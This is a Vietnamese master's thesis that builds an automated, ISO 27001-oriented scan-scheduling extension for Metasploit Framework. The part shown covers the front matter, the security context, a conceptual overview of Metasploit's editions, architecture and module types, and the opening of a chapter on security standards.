ĐẠi hỌc quỐc gia hÀ nỘi trƯỜng ĐẠi h c cÔng ngh
TRANSCRIPT
ĐẠI HỌC QUỐC GIA HÀ NỘI
TRƯỜNG ĐẠI HỌC CÔNG NGHỆ
LÃ XUÂN KIÊN
NÂNG CẤP ỨNG DỤNG KHAI THÁC CÁC LỖ HỔNG AN NINH
METASPLOIT FRAMEWORK
LUẬN VĂN THẠC SĨ CÔNG NGHỆ THÔNG TIN
Hà Nội – 2020
2
ĐẠI HỌC QUỐC GIA HÀ NỘI
TRƯỜNG ĐẠI HỌC CÔNG NGHỆ
LÃ XUÂN KIÊN
NÂNG CẤP ỨNG DỤNG KHAI THÁC CÁC LỖ HỔNG AN NINH
METASPLOIT FRAMEWORK
Ngành: Công nghệ Thông tin
Chuyên ngành: An toàn Thông tin
Mã số: 8480202.01
LUẬN VĂN THẠC SĨ CÔNG NGHỆ THÔNG TIN
NGƯỜI HƯỚNG DẪN KHOA HỌC: TS. NGUYỄN ĐẠI THỌ
Hà Nội – 2020
3
MỤC LỤC
LỜI CẢM ƠN ............................................................................................................ 5
LỜI CAM ĐOAN ....................................................................................................... 6
DANH MỤC HÌNH VẼ, ĐỒ THỊ ............................................................................. 7
DANH MỤC BẢNG BIỂU ........................................................................................ 7
DANH MỤC CÁC KÝ HIỆU VÀ CHỮ VIẾT TẮT ................................................ 8
MỞ ĐẦU .................................................................................................................... 9
Chương 1. TỔNG QUAN VỀ KIỂM ĐỊNH AN TOÀN THÔNG TIN ................. 11
1.1. Bối cảnh hiện tại ............................................................................................ 11
1.2. Giới thiệu bài toán ......................................................................................... 12
Chương 2. TỔNG QUAN VỀ METASPLOIT ....................................................... 13
2.1. Khái niệm cơ bản ........................................................................................... 13
2.2. Các phiên bản Metasploit .............................................................................. 13
2.2.1. Metasploit Community Edition ................................................................. 13
2.2.2. Metasploit Framework Edition ................................................................. 14
2.2.3. Metasploit Pro .......................................................................................... 15
2.3. Kiến trúc của Metasploit ............................................................................... 17
2.3.1. Thư viện chính ......................................................................................... 17
2.3.2. Giao diện .................................................................................................. 17
2.3.3. Mô đun chức năng ................................................................................... 19
2.3.4. Thành phần mở rộng ................................................................................ 19
Chương 3. HỆ THỐNG CÁC TIÊU CHUẨN VỀ AN TOÀN THÔNG TIN ........ 20
3.1. Các tiêu chuẩn quản lý an toàn thông tin ..................................................... 21
3.2. Họ tiêu chuẩn ISMS....................................................................................... 23
3.3. Chuẩn ISO 27001 ........................................................................................... 24
3.4. Chi tiết phụ lục chuẩn ISO 27001 ................................................................. 25
Chương 4. XÂY DỰNG CÔNG CỤ LẬP LỊCH QUÉT TỰ ĐỘNG VÀ TUÂN
THỦ TIÊU CHUẨN CHO METASPLOIT FRAMEWORK ................................ 40
4.1. Tính năng Automatic Task Chain trong Metasploit Pro ............................. 40
4.2. Phân tích yêu cầu ........................................................................................... 44
4.3. Lập danh sách các mã khai thác ................................................................... 45
4
4.4. Thiết kế kịch bản kiểm thử ........................................................................... 50
4.5. Cấu trúc Compliance Chain .......................................................................... 50
4.5.1. Biểu đồ lớp ................................................................................................ 51
4.5.2. Danh sách chức năng ............................................................................... 52
4.5.3. Các thao tác nạp kịch bản kiểm thử ......................................................... 52
KẾT LUẬN .............................................................................................................. 69
TÀI LIỆU THAM KHẢO ....................................................................................... 71
5
LỜI CẢM ƠN
Trước tiên tôi xin dành lời cảm ơn chân thành và sâu sắc nhất đến Thầy giáo, TS.
Nguyễn Đại Thọ – người đã tận tình hướng dẫn, khuyến khích, chỉ bảo, tạo cho tôi
những điều kiện tốt nhất từ khi bắt đầu cho tới khi hoàn thành công việc làm luận văn
của mình.
Tôi xin gửi lời cảm ơn chân thành tới các Thầy giáo, Cô giáo giảng dạy tại bộ
môn An toàn Thông tin, khoa Công nghệ Thông tin, Đại học Công nghệ - ĐHQGHN
đã tận tình đào tạo, cung cấp cho tôi những kiến thức vô cùng quý giá và đã tạo điều
kiện tốt nhất cho tôi trong suốt quá trình học tập, nghiên cứu tại trường.
Đồng thời tôi xin cảm ơn tất cả những người thân yêu trong gia đình cùng toàn
thể bạn bè, đồng nghiệp những người đã luôn giúp đỡ, động viên những khi tôi vấp
phải những khó khăn, bế tắc trong cuộc sống và công việc.
Mặc dù đã rất cố gắng nhưng luận văn chắc chắn không tránh khỏi những thiếu
sót, tôi rất mong nhận được những ý kiến đánh giá và phê bình từ phía các Thầy giáo,
Cô giáo để luận văn này được hoàn thiện hơn.
Tôi xin chân thành cảm ơn!
6
LỜI CAM ĐOAN
Tôi xin cam đoan rằng luận văn Thạc sĩ Công nghệ Thông tin với đề tài “Nâng
cấp ứng dụng khai thác các lỗ hổng an ninh Metasploit Framework” là công trình
nghiên cứu của riêng tôi dưới sự hướng dẫn của TS. Nguyễn Đại Thọ, không sao chép
lại của người khác. Trong toàn bộ nội dung của luận văn, những điều đã được trình
bày là hoàn toàn trung thực, hoặc là của chính cá nhân tôi tìm hiểu, hoặc là được tổng
hợp từ nhiều nguồn tài liệu và chưa từng được công bố đồ án, luận văn, luận án tại
trường Đại học Công nghệ - ĐHQGHN hoặc bất kỳ trường đại học nào khác. Tất cả
các nguồn tài liệu tham khảo đều có xuất xứ rõ ràng và hợp pháp.
Nếu có bất cứ phát hiện nào về sự gian lận, sao chép tài liệu, công trình nghiên
cứu của tác giả khác mà không ghi rõ trong phần tài liệu tham khảo, tôi xin hoàn toàn
chịu trách nhiệm và chịu mọi hình thức kỷ luật theo quy định cho lời cam đoan này.
Hà Nội, ngày 12 tháng 12 năm 2020
Học viên
Lã Xuân Kiên
7
DANH MỤC HÌNH VẼ, ĐỒ THỊ
Hình 2.1. Metasploit Community Edition .................................................................. 14
Hình 2.2. Giao diện Metasploit Framework ............................................................... 14
Hình 2.3. Metasploit Pro ............................................................................................ 15
Hình 2.4. So sánh phiên bản Metasploit Pro và Framework ....................................... 16
Hình 2.5. Kiến trúc Metasploit ................................................................................... 17
Hình 2.6. Giao diện Console ...................................................................................... 18
Hình 2.7. Giao diện CLI ............................................................................................ 18
Hình 2.8. Giao diện Web-GUI ................................................................................... 19
Hình 3.1. Hệ thống các quy chuẩn về an toàn thông tin .............................................. 21
Hình 3.2. Họ tiêu chuẩn ISMS ................................................................................... 23
Hình 3.3. Danh sách các yêu cầu cần kiểm soát ......................................................... 24
Hình 4.1. Danh sách Task Chains .............................................................................. 40
Hình 4.2. Danh sách Module trong Task Chain .......................................................... 41
Hình 4.3. Danh sách thao tác trong Module ............................................................... 41
Hình 4.4. Danh sách các thao tác Module trong Task Chain ...................................... 42
Hình 4.5. Lập lịch tự động chạy Chain ....................................................................... 43
Hình 4.6. Lập lịch tự động chạy Chain ....................................................................... 44
Hình 4.7. Biểu đồ lớp Compliance Chain ................................................................... 51
Hình 4.8. Danh sách chức năng trong Compilance Chain ........................................... 52
Hình 4.9. Hướng dẫn thao tác Compliance Chain ...................................................... 53
Hình 4.10. Nạp kịch bản vào công cụ Compliance Chains ......................................... 68
DANH MỤC BẢNG BIỂU
Bảng 4.1. Danh sách các mã khai thác ....................................................................... 49
Bảng 4.2. Danh sách Chains ...................................................................................... 50
Bảng 4.3. Mô tả kịch bản ........................................................................................... 67
8
DANH MỤC CÁC KÝ HIỆU VÀ CHỮ VIẾT TẮT
Ký hiệu Thuật ngữ Ý nghĩa
API Application Programming Interface Giao diện lập trình ứng dụng
CLI Command Line Interface Giao diện dòng lệnh
GUI Graphical User Interface Giao diện đồ họa người dùng
HTTPS Hypertext Transfer Protocol Secure Mã hóa giao thức truyền tải siêu
văn bản
HTTP HyperText Transfer Protocol Giao thức truyền tải siêu văn bản
IoT Internet of Things Internet vạn vật
ISO International Organization for
Standardization
Tổ chức tiêu chuẩn hóa Quốc tế
IEC International Electrotechnical
Commission
Ủy ban Kỹ thuật điện Quốc tế
ISMS Information Security Magagement
System
Hệ thống quản lý an toàn thông tin
MSF Metasploit Framework
SSL Secure Sockets Layer Mã hóa lớp Sockets
SMB Server Message Block
XML eXtensible Markup Language Ngôn ngữ đánh dấu mở rộng
9
MỞ ĐẦU
Ngày nay, an ninh thông tin đã, đang đi vào mọi ngõ ngách của đời sống xã hội
và dần trở thành một bộ phận quan trọng của an ninh quốc gia. Nguy cơ gây mất an
ninh thông tin là mối đe dọa rất lớn và ngày càng gia tăng đối với an ninh quốc gia.
Lĩnh vực viễn thông, Internet, tần số vô tuyến điện có sự phát triển mạnh mẽ, đạt được
mục tiêu số hóa hoàn toàn mạng lưới, phát triển nhiều dịch vụ mới, phạm vi phục vụ
được mở rộng, bước đầu hình thành những doanh nghiệp mạnh, có khả năng vươn tầm
khu vực, quốc tế. Hệ thống bưu chính chuyển phát, báo chí, xuất bản phát triển nhanh
cả về số lượng, chất lượng và kỹ thuật nghiệp vụ, có đóng góp quan trọng cho sự phát
triển kinh tế - xã hội; đảm bảo quốc phòng, an ninh, đối ngoại của đất nước.
Tình hình an ninh thông tin ở Việt Nam đã và đang có những diễn biến phức
tạp. Các cơ quan đặc biệt nước ngoài, các thế lực thù địch, phản động tăng cường hoạt
động tình báo, gián điệp, khủng bố, phá hoại hệ thống thông tin; tán phát thông tin
xấu, độc hại nhằm tác động tới chính trị nội bộ, can thiệp, hướng lái chính sách, pháp
luật của Việt Nam. Gia tăng hoạt động tấn công mạng nhằm vào hệ thống thông tin
quan trọng về an ninh quốc gia. Theo thống kê, trung bình mỗi năm, qua kiểm tra,
kiểm soát các cơ quan chức năng đã phát hiện trên 850.000 tài liệu chiến tranh tâm lý,
phản động, ân xá quốc tế, tài liệu tuyên truyền tà đạo trái phép; gần 750.000 tài liệu
tuyên truyền chống Đảng, Nhà nước được phát tán vào Việt Nam qua đường bưu
chính. Từ 2010 đến 2019 đã có 53.744 lượt cổng thông tin, trang tin điện tử có tên
miền .vn bị tấn công, trong đó có 2.393 lượt cổng thông tin, trang tin điện tử của các
cơ quan Đảng, Nhà nước dưới tên miền gov.vn, xuất hiện nhiều cuộc tấn công mang
màu sắc chính trị, gây ra những hậu quả nghiêm trọng.
Tội phạm và vi phạm pháp luật trong lĩnh vực thông tin diễn biến phức tạp, gia
tăng về số vụ, thủ đoạn tinh vi, gây thiệt hại nghiêm trọng về nhiều mặt. Các hành vi
phá hoại cơ sở hạ tầng thông tin, gây mất an toàn, hoạt động bình thường, vững mạnh
của mạng máy tính, mạng viễn thông, phương tiện điện tử của các cơ quan, tổ chức, cá
nhân, hệ thống thông tin vô tuyến điện, … đã và đang gây ra những thiệt hại lớn về
kinh tế, xâm hại trực tiếp đến quyền, lợi ích hợp pháp của các cơ quan, tổ chức và cá
nhân.
Thực tế nêu trên đã làm xuất hiện nhiều nguy cơ đe dọa đến an ninh thông tin của
Việt Nam ở cả bên trong và bên ngoài. Ở trong nước, trước hết là nguy cơ tụt hậu về
công nghệ, lệ thuộc vào công nghệ của nước ngoài, nhất là hệ thống mạng lõi; phần
mềm hệ thống, dịch vụ thông tin của nước ngoài (nhất là dịch vụ mạng xã hội) dẫn tới
mất chủ quyền nội dung số, tài nguyên thông tin về các công ty công nghệ nước ngoài
ngày càng nghiêm trọng hơn; các đối tượng cơ hội, chống đối chính trị trong nước,
triệt để sử dụng mạng xã hội tán phát thông tin giả, thông tin xấu, độc nhằm gây rối
nội bộ, kích động biểu tình, bạo loạn.
10
Hệ thống thông tin của Việt Nam còn tồn tại nhiều điểm yếu, lỗ hổng bảo mật dễ
bị khai thác, tấn công, xâm nhập, tình trạng lộ, mất bí mật nhà nước qua hệ thống
thông tin gia tăng đột biến, hiện tượng khai thác, sử dụng trái phép cơ sở dữ liệu, tài
nguyên thông tin quốc gia, dữ liệu cá nhân người dùng diễn biến phức tạp, xuất hiện
nhiều dịch vụ mới, hiện đại gây khó khăn cho công tác quản lý, kiểm soát của các cơ
quan chức năng.
Hiện nay, đất nước ta đang đứng trước những nguy cơ, thách thức lớn từ cuộc
Cách mạng công nghiệp lần thứ 4 với sự phát triển, ứng dụng mạnh mẽ của trí tuệ
nhân tạo, rô-bốt, công nghệ sinh học, sẽ hình thành nên nhiều lĩnh vực mới như:
“Internet công nghiệp”, “Nhà máy thông minh”, “Thành phố thông minh”, “Xã hội
siêu thông minh”, “Chính phủ điện tử”, … hoạt động trên môi trường không gian
mạng, tạo sự đột phá về phát triển kinh tế, chính trị - xã hội. Xu hướng Internet kết nối
vạn vật (IoT), gồm Internet kết nối với năng lượng, dịch vụ, truyền thông đa phương
tiện, con người, vạn vật sẽ thay đổi phương thức hoạt động của cả một nền kinh tế,
thói quen, tâm lý, văn hóa xã hội. Sự phát triển kinh tế xã hội cũng như đảm bảo an
ninh quốc gia ở Việt Nam những năm tới chủ yếu dựa trên nền tảng kỹ thuật số. Với
xu thế phát triển của nền kinh tế chia sẻ, chuyển đổi số, … công nghiệp công nghệ
thông tin sẽ trở thành ngành kinh tế chủ đạo, quyết định sự phát triển nhanh, bền vững
của quốc gia.
Vậy để thông tin được bảo vệ, hạn chế tấn công, vừa giúp cho doanh nghiệp, tổ
chức có được hình ảnh uy tín cũng như được các bên đối tác đánh giá và tin tưởng khi
hợp tác với các doanh nghiệp có được sự bảo vệ thông tin một cách an toàn thì vấn đề
an toàn thông tin lại càng quan trọng, là nhu cầu cấp thiết đối với các doanh nghiệp, tổ
chức. Vậy làm thế nào để giúp các doanh nghiệp, tổ chức thực hiện được điều đó?
Để trả lời cho câu hỏi này, trong luận văn “Nâng cấp ứng dụng khai thác các lỗ
hổng an ninh Metasploit Framework” tôi đã nghiên cứu và tìm hiểu cách xây dựng
công cụ lập lịch tự động dò quét để kiểm thử an ninh hệ thống (Penetration Testing) sử
dụng công cụ miễn phí nguồn mở Metasploit Framework theo các yêu cầu tiêu chuẩn
về an toàn thông tin ISO 27001 giúp cho doanh nghiệp quản lý, bảo vệ thông tin của
mình một cách an toàn và hiệu quả nhất.
Luận văn của tôi được chia làm 4 chương:
Chương 1: Trình bày tổng quan về kiểm định an toàn thông tin
Chương 2: Trình bày tổng quan về Metasploit
Chương 3: Trình bày hệ thống tiêu chuẩn về an toàn thông tin
Chương 4: Xây dựng công cụ lập lịch dò quét tự động cho Metasploit Framework
11
Chương 1. TỔNG QUAN VỀ KIỂM ĐỊNH AN TOÀN THÔNG TIN
1.1. Bối cảnh hiện tại
Với sự phát triển của Thế giới nói chung và Việt Nam nói riêng, xã hội càng phát
triển càng kéo thêm nhiều nguy cơ mất an toàn thông tin. Đặc biệt là vấn đề đe dọa
thông tin trên các đường truyền Internet, qua máy tính, những chiếc điện thoại thông
minh, những thiết bị thông minh khác đều để lại những nguy cơ tiềm ẩn. Tình trạng rất
đáng lo ngại trước hành vi thâm nhập vào hệ thống, phá hoại các hệ thống mã hóa, các
phần mềm xử lý thông tin tự động gây thiệt hại vô cùng lớn. Sau đây là một số nguy
cơ rủi ro mất an toàn thông tin:
Nguy cơ mất an toàn thông tin về khía cạnh vật lý: Là nguy cơ do mất điện,
nhiệt độ, độ ẩm không đảm bảo, hỏa hoạn, thiên tai, thiết bị phần cứng bị hư hỏng.
Nguy cơ bị mất, hỏng, sửa đổi nội dung thông tin: Người dùng có thể vô tình
để lộ mật khẩu hoặc không thao tác đúng quy trình tạo cơ hội cho kẻ xấu lợi dụng để
lấy cắp hoặc làm hỏng thông tin.
Nguy cơ bị tấn công bởi các phần mềm độc hại: Các phần mềm độc hại tấn
công bằng nhiều phương pháp khác nhau để xâm nhập vào hệ thống với các mục đích
khác nhau như: Virus, sâu máy tính (Worm), phần mềm gián điệp (Spyware, Trojan,
Adware…).
Nguy cơ xâm nhập từ lỗ hổng bảo mật: Lỗi do lập trình, lỗi hoặc sự cố phần
mềm, nằm trong một hoặc nhiều thành phần tạo nên hệ điều hành hoặc trong chương
trình cài đặt trên máy tính.
Nguy cơ xâm nhập do bị tấn công bằng cách phá mật khẩu: Những kẻ tấn
công có rất nhiều cách khác phức tạp hơn để tìm mật khẩu truy nhập. Những kẻ tấn
công có trình độ đều biết rằng luôn có những khoản mục người dùng quản trị chính.
Nguy cơ mất an toàn thông tin do sử dụng Email: Tấn công có chủ đích bằng
thư điện tử là tấn công bằng Email giả mạo giống như email được gửi người quen, có
thể gắn tập tin đính kèm nhằm làm cho thiết bị bị nhiễm virus. Cách thức tấn công này
thường nhằm vào một cá nhân hay một tổ chức cụ thể. Thư điện tử đính kèm tập tin
chứa virus được gửi từ kẻ mạo danh là một đồng nghiệp hoặc một đối tác nào đó.
Người dùng bị tấn công bằng thư điện tử có thể bị đánh cắp mật khẩu hoặc bị lây
nhiễm virus.
Nguy cơ mất an toàn thông tin trong quá trình truyền tin: Trong quá trình
lưu thông và giao dịch thông tin trên mạng Internet nguy cơ mất an toàn thông tin
trong quá trình truyền tin là rất cao do kẻ xấu chặn đường truyền và thay đổi hoặc phá
hỏng nội dung thông tin rồi gửi tiếp tục đến người nhận.
Mặt khác, ngày nay Internet/Intranet là môi trường tiện lợi cho việc trao đổi
thông tin giữa các tổ chức và giữa các cá nhân trong tổ chức với nhau. Các giao dịch
trao đổi thư tín điện tử (Email), các trao đổi thông tin trực tuyến giữa cơ quan nhà
12
nước và công dân, tìm kiếm thông tin, …thông qua mạng Internet không ngừng được
mở rộng và ngày càng phát triển.
Bên cạnh các lợi ích mà Internet/Intranet mang lại thì đây cũng chính là môi
trường tiềm ẩn các nguy cơ gây mất an toàn an ninh cho các hệ thống mạng của các tổ
chức có tham gia giao dịch trên Internet/Intranet. Một vấn đề đặt ra cho các tổ chức là
làm sao bảo vệ được các nguồn thông tin dữ liệu như các số liệu trong công tác quản
lý hành chính nhà nước, về tài chính kế toán, các số liệu về nguồn nhân lực, các tài
liệu về công nghệ, sản phẩm…., trước các mối đe dọa trên mạng Internet hoặc mạng
nội bộ có thể làm tổn hại đến sự an toàn thông tin và gây ra những hậu quả nghiêm
trọng khó có thể lường trước được.
1.2. Giới thiệu bài toán
Đề tài là sự kết hợp giữa 2 bài toán, một là bài toán nâng cấp Metasploit
Framework. Hiện tại, Framework không có các chức năng nâng cao của Metasploit
Pro như kiểm thử hệ thống theo kịch bản sẵn có, kiểm thử tự động, lập lịch quét, ...
Hai là với nhu cầu thực tế về kiểm thử hệ thống đảm bảo tuân thủ các chuẩn an toàn
thông tin, Framework chưa đáp ứng được mà chỉ được sử dụng như một công cụ cung
cấp rất nhiều Exploit rời rạc. Do đó, tôi đã tìm hiểu xây dựng một phần mở rộng cho
Framework và cụ thể hóa các yêu cầu của chuẩn an toàn thông tin mẫu là chuẩn ISO
27001 thành các Exploit từ cơ sở dữ liệu về Exploit của Metasploit Framework, sắp
xếp thành các nhóm để lên 1 kịch bản kiểm thử, từ đó lập lịch định kỳ chạy.
13
Chương 2. TỔNG QUAN VỀ METASPLOIT
2.1. Khái niệm cơ bản
Metasploit (Metasploit Project) là một dự án liên quan đến bảo mật máy tính,
cung cấp những thông tin về các lỗ hổng bảo mật. Đối tượng của Metasploit chính là
những quá trình tấn công xâm nhập kiểm thử (Penetration Testing) và phát triển các hệ
thống phát hiện xâm nhập (IDS - Intrusion Detection System)
Metasploit Framework có mã nguồn mở, sử dụng các Shellcode (Payload) để tấn
công máy đích có lỗ hổng. Cùng với một số bộ công cụ bảo mật khác, Metasploit có
cơ sở dữ liệu chứa hàng ngàn Shellcode, Exploit (khai thác) của các hệ điều hành, các
chương trình hay dịch vụ. Trong quá trình phát triển Metasploit liên tục cập nhật các
Exploit vào cơ sở dữ liệu nên càng ngày nó càng trở thành một bộ công cụ mạnh mẽ
trong kiểm thử an ninh hệ thống.
Metasploit Framework được tích hợp sẵn trong hệ điều hành Kali Linux. Phiên
bản mới nhất cài đặt dành cho các hệ điều hành Linux/ MacOS/ Windows có thể được
tải xuống từ địa chỉ Website của nhà phát triển Rapid 7 tại
https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
Các tính năng chính của Metasploit:
- Quét cổng để xác định các dịch vụ đang hoạt động trên máy chủ (Server).
- Xác định các lỗ hổng dựa trên phiên bản của hệ điều hành và phiên bản các phần
mềm cài đặt trên hệ điều hành đó.
- Thực nghiệm khai thác các lỗ hổng đã được xác định.
Lịch sử phát triển Metasploit:
Metasploit được phát triển ra bởi H. D. Moore, sinh năm 1981, là chuyên gia về
bảo mật mạng, lập trình viên nguồn mở và cũng là 1 Hacker. Ông là người sáng lập
Metasploit Project vào năm 2003 như là một công cụ kiểm thử thâm nhập sử dụng
ngôn ngữ lập trình Perl. Đến năm 2007, Metasploit Framework đã được viết lại hoàn
toàn bằng ngôn ngữ lập trình Ruby. Vào ngày 21 tháng 10 năm 2009, dự án Metasploit
đã được mua lại bởi Rapid7, một công ty bảo mật chuyên cung cấp các giải pháp bảo
mật quản lý lỗ hổng.
2.2. Các phiên bản Metasploit
2.2.1. Metasploit Community Edition
Phiên bản này được phát hành vào tháng 10 năm 2011 bao gồm một giao diện
người dùng dựa trên web miễn phí cho Metasploit. Metasploit Community Edition dựa
trên chức năng thương mại của các phiên bản trả phí với một số tính năng được giảm
bớt như Network Discovery/Module Browsing/Manual Exploitation.
Vào ngày 18 tháng 7 năm 2019, Rapid7 đã thông báo về việc kết thúc bán
Metasploit Community Edition. Người dùng hiện tại có thể tiếp tục sử dụng nó cho
đến khi giấy phép hết hạn.
14
Hình 2.1. Metasploit Community Edition
2.2.2. Metasploit Framework Edition
Là phiên bản mã nguồn mở, hoàn toàn miễn phí, rất phù hợp cho việc phát triển
và nghiên cứu, sử dụng giao diện dòng lệnh, chỉ có một số tính năng cơ bản. Chính vì
vậy việc phát triển, tích hợp các tính năng mới vào Metasploit Framework là rất cần
thiết, phù hợp với những nhu cầu, nhiệm vụ kiểm thử an ninh hệ thống khi mà có giới
hạn về mặt chi phí. Tuy có nhiều hạn chế về những tính năng ưu việt thì phiên bản này
có thể coi là công cụ không thể thiếu của những nhà nghiên cứu bảo mật chuyên
nghiệp, những người kiểm thử xâm nhập và được giới Hacker rất ưa chuộng.
Hình 2.2. Giao diện Metasploit Framework
15
2.2.3. Metasploit Pro
Tháng 10 năm 2010, Rapid7 đã phát hành Metasploit Pro, một phiên bản thương
mại. Có thể nói đây là một phiên bản mạnh mẽ nhất của Metasploit, nó bao gồm tất cả
các tính năng của Metasploit Express và phát triển thêm các tính năng ưu việt khác
như “Quick Start Wizards/MetaModules”, xây dựng, quản lý những hoạt động tấn
công sử dụng kỹ nghệ xã hội (Social Engineering), kiểm thử ứng dụng Web, tạo các
Payload một cách tự động để tránh sự phát hiện của các phần mềm Anti-Virus, tích
hợp cả công cụ mạnh mẽ Nexpose cho việc quét lỗ hổng trên mạng.
Phiên bản Metasploit Pro hỗ trợ cả chế độ dòng lệnh và giao diện người dùng.
Phiên bản này hiện tại có giá cao nhất so với các phiên bản khác, phù hợp cho những
người thực hiện kiểm thử xâm nhập, những nhóm bảo mật.
Hình 2.3. Metasploit Pro
17
2.3. Kiến trúc của Metasploit
Hình 2.5. Kiến trúc Metasploit
2.3.1. Thư viện chính
Rex (Ruby Extension Library): sẽ bao gồm các thư viện cơ bản được sử dụng
trong Framework cho các giao thức các giao thức khác nhau, chuyển đổi, và xử lý kết
nối. hỗ trợ SSL, SMB, HTTP, XOR, Base64, Unicode.
MSF Core: là phần lõi của Metasploit Framework, là thư viện định nghĩa các lớp
điều khiển vận hành chung của Framework và cung cấp các API cơ bản.
MSF Base: cung cấp các API đơn giản và thân thiện cho Metasploit Framework
2.3.2. Giao diện
Console:
19
Web (GUI)
Hình 2.8. Giao diện Web-GUI
2.3.3. Mô đun chức năng
Payloads: là một đoạn code được chạy (thực thi) trên máy nạn nhân dùng để thực
hiện một số hoạt động nào đó gồm 2 loại:
- Bind payload: nếu có thể tiếp cận mạng từ bên ngoài, sau khi khai thác thành
công, máy tấn công sẽ gửi kết nối tới máy nạn nhân để gửi Payload và tương
tác từ bên ngoài mạng.
- Reverse payload: sau khi khai thác thành công, máy nạn nhân sẽ mở một kết
nối tới máy tấn công (kết nối đi ra ngoài mạng) để vượt qua tường lửa từ bên
trong.
Exploits: là chương trình khai thác lỗ hổng dịch vụ, ta bắt buộc phải biết được lỗ
hổng trên máy nạn nhân.
Encoders: là payload được encoding, mã hóa và được chèn vào những kí tự đặc
biệt giúp tránh bị phát hiện bởi phần mềm diệt virus hoặc tường lửa.
Nops: là một module tùy chọn thêm để đảm bảo kích thước của payload.
Auxiliary: là một loại module đặc biệt, nó cung cấp chức năng tăng cường cho
các thử nghiệm xâm nhập và quét lỗ hổng, thu thập thông tin, quét cổng, ...
2.3.4. Thành phần mở rộng
Plugins: gồm các Plugin có thể tải vào trong quá trình chạy. Plugin là các công
cụ, module giúp tương tác với công cụ bên thứ 3 hoặc hỗ trợ quá trình khai thác
Metasploit Framework. Các nhà phát triển cá nhân khi muốn phát triển module hoặc
chức năng mới cho Metasploit sẽ cần phát triển thành một Plugin và được đánh giá bởi
cộng đồng người sử dụng.
Tools: chứa một vài tiện ích dòng lệnh hữu dụng hỗ trợ trong quá trình khai thác
như bộ dịch ASM, ....
20
Chương 3. HỆ THỐNG CÁC TIÊU CHUẨN VỀ AN TOÀN THÔNG TIN
Hiện nay, trên thế giới đã hình thành một hệ thống tiêu chuẩn An toàn thông tin
tương đối đầy đủ, bao quát được hầu hết các khía cạnh của lĩnh vực an toàn thông tin
và đáp ứng mọi đối tượng cần tiêu chuẩn hóa (sản phẩm, dịch vụ, quy trình). Hệ thống
tiêu chuẩn này có thể phân thành ba loại gồm: tiêu chuẩn đánh giá, tiêu chuẩn đặc tả
và tiêu chuẩn về quản lý
Tuân thủ tiêu chuẩn an toàn thông tin (ATTT) là yếu tố quan trọng đảm bảo cho
sự hoạt động ổn định và tin cậy của hạ tầng kỹ thuật, sự an toàn của hệ thống thông tin
và dữ liệu của tổ chức, cá nhân. Đối với các nhà thiết kế và sản xuất, tiêu chuẩn sẽ hỗ
trợ để họ có thể cung cấp cho thị trường những sản phẩm chất lượng cao và phù hợp
với các đối tượng sử dụng.
Tiêu chuẩn hóa trong ATTT với tư cách là một lĩnh vực, được khởi đầu ở Mỹ
vào cuối những năm 70 của thế kỷ trước, khi mạng máy tính ở Bộ Quốc phòng (Mỹ)
xuất hiện những vấn đề đầu tiên về an ninh, an toàn. Tiêu chuẩn ATTT đầu tiên được
thừa nhận ở phạm vi quốc tế và có ảnh hưởng đặc biệt đối với quá trình xây dựng
nhiều tiêu chuẩn sau này là “Các tiêu chí đánh giá các hệ thống máy tính tin cậy”
(Trusted Computer System Evaluation Criteria - TCSEC), được Bộ Quốc phòng (Mỹ)
xây dựng và công bố năm 1983. Tiêu chuẩn này được sử dụng trong đánh giá, phân
loại, lựa chọn để xử lý, lưu trữ, phục hồi thông tin nhạy cảm và thông tin mật trong Bộ
Quốc phòng (Mỹ). Trong tiêu chuẩn này, lần đầu tiên hàng loạt các khái niệm và nội
dung cơ bản về ATTT được đề cập như: hệ thống an toàn và tin cậy, mức độ đảm bảo,
cơ sở tính toán tin cậy, trọng tâm và phạm vi an toàn, chính sách an toàn thông tin,
quản lý truy cập....
Sau TCSEC, nhiều tiêu chuẩn ATTT, dựa trên nền tảng của tiêu chuẩn này ra
đời. Kết quả của hoạt động khẩn trương đó là trong hai thập kỷ 80, 90 của thế kỷ
trước, một số lượng lớn tiêu chuẩn trong lĩnh vực ATTT đã được xây dựng và công
bố. Những tiêu chuẩn này được sàng lọc trong thực tiễn, nhiều tiêu chuẩn trong số đó
được áp dụng hiệu quả và được nhiều quốc gia, tổ chức chấp nhận, khuyến cáo thành
tiêu chuẩn chính thức. Đến nay, hầu hết các khía cạnh của lĩnh vực ATTT đã được tiêu
chuẩn hóa (sản phẩm, dịch vụ, quy trình). Hệ thống tiêu chuẩn này có thể phân thành
ba loại như sau:
- Các tiêu chuẩn đánh giá: là các tiêu chuẩn dùng để đánh giá, phân loại các hệ
thống thông tin và các phương tiện bảo vệ thông tin.
- Các tiêu chuẩn đặc tả: là các tiêu chuẩn mang đặc tính kỹ thuật, chúng xác lập
các phương diện khác nhau trong việc thực thi và sử dụng các phương tiện bảo vệ
thông tin.
- Các tiêu chuẩn về quản lý: Các tiêu chuẩn này xác định yêu cầu đối với công
tác tổ chức và quản lý ATTT, quản lý rủi ro và hướng dẫn về ATTT.
21
Hình 3.1. Hệ thống các quy chuẩn về an toàn thông tin
Công nghệ thông tin được phát triển và ứng dụng trước hết ở các quốc gia công
nghiệp tiên tiến như Mỹ, Canada, Nhật Bản và các nước phương Tây. Do đó, vai trò
quyết định trong quá trình hình thành hệ thống tiêu chuẩn ATTT thuộc về các tổ chức
tiêu chuẩn hóa tại các quốc gia này, nổi bật là NIST, ANSI (Mỹ), BSI (Anh). Ở đây có
vai trò đặc biệt của tổ chức tiêu chuẩn hóa quốc tế ISO, một tổ chức liên kết các nước
thành viên và hoạt động với mục tiêu “quốc tế hóa” các tiêu chuẩn trên phạm vi toàn
cầu. Ngoài các cơ quan chính phủ và các tổ chức tiêu chuẩn hóa uy tín nêu trên, một số
tổ chức khác như Cộng đồng Internet (Internet Community), ... đã có đóng góp không
nhỏ vào sự hình thành hệ thống tiêu chuẩn về ATTT, đặc biệt là trong việc xây dựng
các tiêu chuẩn kỹ thuật.
Hệ thống tiêu chuẩn về ATTT hiện tại trên thế giới bao gồm Tiêu chuẩn quốc tế
ISO tổ chức xây dựng và công bố, các Tiêu chuẩn quốc gia (do Chính phủ các nước
công bố) và các Tiêu chuẩn của các tổ chức chuyên ngành (tương ứng ở nước ta gọi là
tiêu chuẩn cơ sở).
3.1. Các tiêu chuẩn quản lý an toàn thông tin
Một trong những tiêu chuẩn về quản lý an toàn thông tin ra đời sớm nhất (1986)
là Thư viện hạ tầng Công nghệ thông tin (Information Technologies Infrastructure
Library - ITIL) do Trung tâm máy tính và Viễn thông của chính phủ Anh xây dựng.
22
